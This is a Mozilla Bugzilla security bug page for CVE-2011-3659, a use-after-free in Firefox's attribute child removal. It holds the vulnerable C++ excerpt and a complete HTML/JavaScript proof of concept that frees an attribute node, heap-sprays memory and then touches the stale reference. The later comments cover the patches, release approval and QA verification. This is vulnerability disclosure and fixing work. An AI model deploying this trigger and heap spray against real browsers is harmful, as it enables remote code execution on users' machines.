Last Comment Bug 708198 - (CVE-2011-3659) AttributeChildRemoved Use-After-Free (ZDI-CAN-1413)
(CVE-2011-3659)
: AttributeChildRemoved Use-After-Free (ZDI-CAN-1413)
Status: VERIFIED FIXED
[sg:critical][qa!]
: regression
Product: Core
Classification: Components
Component: DOM (show other bugs)
: unspecified
: All All
: -- critical (vote)
: mozilla11
Assigned To: Kyle Huey [:khuey] (khuey@mozilla.com)
:
Mentors:
Depends on:
Blocks: CVE-2010-3766
  Show dependency treegraph
 
Reported: 2011-12-06 23:48 PST by Daniel Veditz [:dveditz]
Modified: 2012-05-02 11:13 PDT (History)
9 users (show)
khuey: in‑testsuite?
See Also:
Crash Signature:
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
-
wontfix
-
wontfix
+
verified
+
verified
unaffected
unaffected


Attachments
PoC from comment 0 (680 bytes, text/html)
2011-12-06 23:48 PST, Daniel Veditz [:dveditz]
no flags Details
Patch (924 bytes, patch)
2011-12-08 16:02 PST, Kyle Huey [:khuey] (khuey@mozilla.com)
no flags Details | Diff | Splinter Review
Patch (3.98 KB, patch)
2011-12-08 16:38 PST, Kyle Huey [:khuey] (khuey@mozilla.com)
no flags Details | Diff | Splinter Review
Patch v3 (2.89 KB, patch)
2011-12-08 16:47 PST, Kyle Huey [:khuey] (khuey@mozilla.com)
jst: review+
Details | Diff | Splinter Review
Patch v4 (1.46 KB, patch)
2011-12-09 04:32 PST, Kyle Huey [:khuey] (khuey@mozilla.com)
jst: review+
akeybl: approval‑mozilla‑aurora+
Details | Diff | Splinter Review

Description Daniel Veditz [:dveditz] 2011-12-06 23:48:35 PST
Created attachment 579608 [details]
PoC from comment 0

ZDI-CAN-1413: Mozilla Firefox AttributeChildRemoved Use-After-Free
Remote Code Execution Vulnerability


-- CVSS -----------------------------------------

7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P


-- ABSTRACT -------------------------------------

TippingPoint has identified a vulnerability affecting the following
products:

  Mozilla Firefox


-- VULNERABILITY DETAILS ------------------------

Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

Under certain circumstances, removal of child nodes from the
nsDOMAttribute can allow for a child to still be accessible after
removal due to a premature notification of AttributeChildRemoved.

Please observe the code below from base/src/nsDOMAttribute.cpp:


void nsDOMAttribute::doRemoveChild(bool aNotify)
{
  if (aNotify) {
    nsNodeUtils::AttributeChildRemoved(this, mChild);
  }

  static_cast<nsTextNode*>(mChild)->UnbindFromAttribute();
  NS_RELEASE(mChild);
  mFirstChild = nsnull;
}



As can be seen above, a call to the function AttributeChildRemoved()
happens before mFirstChild is set to NULL. Registered mutation
observers implementing interface nsIMutationObserver2 will have
callback function AttributeChildRemoved. Since mFirstChild is not set
to NULL until after this call is made, this means the removed child
will be accessible after it has been removed. This use-after-free
allows for arbitrary code execution by an attacker.

The code below can used to trigger and demonstrate the vulnerability:
---------------
Begin Code Snip
---------------

<html>
<head>
<script>
function run() {
  var attr = document.createAttribute("foo");
  attr.value = "bar";

  var ni = document.createNodeIterator(
    attr, NodeFilter.SHOW_ALL,
    {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
    false);

  ni.nextNode();
  ni.nextNode();
  ni.previousNode();

  attr.value = null;

  // gc & heap spray
  const addr = unescape("%uc3c4%uc1c2");
  var container = new Array();
  var small = addr;
  while (small.length != 30)
    small += addr;
  for (i = 0; i < 1024*1024*2; ++i)
    container.push(unescape(small));

  ni.referenceNode;
  alert("PoC failed");
}
</script>
</head>
<body onload="run();">
</body>
</html>


----------------
End Of Code Snip
----------------

-- CREDIT ---------------------------------------

This vulnerability was discovered by:

   regenrecht
Comment 1 Daniel Veditz [:dveditz] 2011-12-07 00:00:52 PST
Appears to be a regression from bug 590771
bp-54f3c170-d0ed-4425-bf02-121d32111206
Comment 2 Jonas Sicking (:sicking) PTO Until July 5th 2011-12-07 00:20:35 PST
ACID3 has changed. Let's just remove the ability to create node iterators in attribute nodes!
Comment 3 Daniel Veditz [:dveditz] 2011-12-08 13:19:22 PST
We should file a separate bug on removing the ability to create node iterators, and I guess this could depend on it. That doesn't sound like the kind of thing we would take on Beta and maybe not Aurora so is there a more localized fix for the security problem at hand?
Comment 4 Johnny Stenback (:jst, jst@mozilla.com) 2011-12-08 13:19:57 PST
Kyle, Mounir is out of town this week, could you look into this? I'd be happy to kill features here, but that's not something I want to do for 9 or 10, which means we need a narrower fix here before we kill off this feature. Whether we can do this for 9 any more is questionable, but for 10 we most likely can still fix this.
Comment 5 Johnny Stenback (:jst, jst@mozilla.com) 2011-12-08 13:58:57 PST
Actually re-assigning.
Comment 6 Kyle Huey [:khuey] (khuey@mozilla.com) 2011-12-08 14:12:51 PST
I'll dig into this first thing in the morning, but I really doubt this can make 9 given that code freeze is tomorrow evening.
Comment 7 Kyle Huey [:khuey] (khuey@mozilla.com) 2011-12-08 16:02:45 PST
Created attachment 580228 [details] [diff] [review]
Patch

So, fixing the crash isn't too hard, but I'm not sure what else may need to be done.  This fixes up nsDOMAttribute::doRemoveChild to put mChild and mFirstChild in a consistent state before notifying observers, and then continues to do the unbinding after notifying observers (this matches nsINode::doRemoveChildAt).

However, I don't know if we need the mutation guard/auto doc update stuff here.  Calls to nsDOMAttribute::doRemoveChild that come through RemoveChildAt have that ...
Comment 8 Kyle Huey [:khuey] (khuey@mozilla.com) 2011-12-08 16:38:10 PST
Created attachment 580237 [details] [diff] [review]
Patch

After reading what 1.9.2 looks like I think we want all calls to go through the mozAutoDocUpdate machinery.  This unifies us back into a single codepath like we had before Gecko 2.
Comment 9 Kyle Huey [:khuey] (khuey@mozilla.com) 2011-12-08 16:47:36 PST
Created attachment 580243 [details] [diff] [review]
Patch v3

jst points out that NS_RELEASE does in fact set the pointer it operates on to null.
Comment 10 Kyle Huey [:khuey] (khuey@mozilla.com) 2011-12-09 04:32:14 PST
Created attachment 580370 [details] [diff] [review]
Patch v4

There was a bug in the previous patch.  The end of RemoveChildAt sets the value to null, which we don't want to do in all situations (like the one where we're blowing away mChild because we changed the value!).
Comment 11 Kyle Huey [:khuey] (khuey@mozilla.com) 2011-12-15 12:41:49 PST
https://hg.mozilla.org/integration/mozilla-inbound/rev/7a6b3a3c0a92
Comment 12 Brandon Sterne (:bsterne) 2011-12-16 08:03:46 PST
This got merged to m-c today:
https://hg.mozilla.org/mozilla-central/rev/7a6b3a3c0a92
Comment 13 Alex Keybl [:akeybl] 2011-12-16 12:44:50 PST
Comment on attachment 580370 [details] [diff] [review]
Patch v4

[Triage Comment]
Approved for Aurora. Please land on Monday 12/19 or earlier in order to make the cut-over to Beta.
Comment 14 Kyle Huey [:khuey] (khuey@mozilla.com) 2011-12-19 04:59:17 PST
https://hg.mozilla.org/releases/mozilla-aurora/rev/1568bd0d4cb8
Comment 15 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-07 14:59:53 PST
Verified fixed in Firefox 11.0b6 using attached testcase.
Comment 16 Kyle Huey [:khuey] (khuey@mozilla.com) 2012-03-08 14:46:44 PST
Why wasn't this verified for 10?
Comment 17 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-08 14:52:14 PST
(In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #16)
> Why wasn't this verified for 10?

I guess it was missed. At any rate, I've not verified it using Firefox 10.0.2.
Comment 18 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-08 14:52:45 PST
(In reply to Anthony Hughes, Mozilla QA (irc: ashughes) from comment #17)
> (In reply to Kyle Huey [:khuey] (khuey@mozilla.com) from comment #16)
> > Why wasn't this verified for 10?
> 
> I guess it was missed. At any rate, I've not verified it using Firefox
> 10.0.2.

Obviously, that should have read "I've now verified it", not not.

Note You need to log in before you can comment on or make changes to this bug.